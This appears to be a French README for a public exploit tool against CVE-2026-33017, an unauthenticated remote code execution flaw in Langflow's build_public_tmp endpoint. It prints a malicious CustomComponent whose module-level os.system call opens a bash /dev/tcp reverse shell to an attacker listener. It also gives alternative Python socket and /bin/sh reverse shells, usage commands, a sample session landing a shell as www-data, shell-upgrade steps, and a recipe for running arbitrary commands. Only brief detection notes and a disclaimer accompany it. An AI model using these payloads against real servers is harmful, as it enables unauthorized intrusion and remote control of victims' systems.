
Exploit pour CVE-2026-33017, une RCE non authentifiée dans Langflow, permettant un reverse shell via une charge utile CustomComponent malveillante.
CVE-2026-33017 est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée dans les versions de Langflow <= 1.8.2. La vulnérabilité existe dans le point de terminaison /api/v1/build_public_tmp/{flow_id}/flow, qui manque d'authentification appropriée et permet aux attaquants d'exécuter du code Python arbitraire pendant le processus de compilation du graphe.
Cet exploit est destiné uniquement à des fins éducatives et de test autorisé. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
| Version | Statut |
|---|---|
| <= 1.8.2 | Vulnérable |
| 1.9.0 | Corrigée |
La vulnérabilité provient de la fonction prepare_global_scope() dans validate.py, qui appelle exec() sur le code de chaque nœud CustomComponent sans sandboxing approprié. Lorsqu'un composant est chargé/compilé, tout code Python au niveau du module (en dehors des définitions de classe) est exécuté immédiatement.
POST /api/v1/build_public_tmp/{flow_id}/flow
Caractéristiques :
Attaquant POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← EXÉCUTION DE CODE ARBITRAIRE
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. Shell inversé
# Démarrer l'écouteur
nc -lvnp 4444
# Exécuter l'exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. Utilisation des options courtes
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. Test local
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. Délai d'attente personnalisé
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| Argument | Court | Requis | Description |
|---|---|---|---|
--url | -u | Oui | URL cible (ex. : https://target.langflow.com) |
--flow-id | -f | Oui | ID de flux (UUID) du flux public |
--lhost | -lh | Oui | Adresse IP de l'écouteur pour le shell inversé |
--lport | -lp | Oui | Port de l'écouteur pour le shell inversé |
--timeout | -t | Non | Délai d'attente HTTP en secondes (défaut : 15) |
L'exploit envoie un nœud CustomComponent malveillant qui exécute du code au niveau du module :
import os
# Ceci s'exécute immédiatement pendant le chargement du composant
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. L'attaquant envoie une requête POST à /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow reçoit le CustomComponent malveillant
3. prepare_global_scope() appelle exec() sur le code du composant
4. Le code au niveau du module s'exécute immédiatement
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Le shell inversé se connecte à l'écouteur de l'attaquant
6. La compilation du graphe continue (mais il est trop tard)
exec()exec() est appelé sans restrictionsdata est directement intégré$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================
[!] Assurez-vous que votre écouteur est en cours d'exécution :
nc -lvnp 4444
[+] URL cible : https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST : 10.10.16.171
[+] LPORT : 4444
[*] Envoi de la charge utile de l'exploit...
[+] Code de statut : 200
[+] Exploit envoyé avec succès !
[+] ID de tâche : abc123-def456-789ghi
[*] Vérifiez votre écouteur pour le shell inversé !
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
Une fois que vous avez un shell inversé :
# PTY Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ou utiliser script
script /dev/null -c bash
# Mettre en arrière-plan avec Ctrl+Z
# Puis exécuter :
stty raw -echo
fg
reset
export TERM=xterm
Modifiez le script pour exécuter des commandes arbitraires au lieu d'un shell inversé :
# Dans la fonction build_payload() :
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Shell inversé par socket Python
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. Shell inversé /bin/sh (si bash n'est pas disponible)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow sans authentificationCustomComponent suspect contenant os.system() ou subprocess/tmp/rce-proof ou /tmp/executed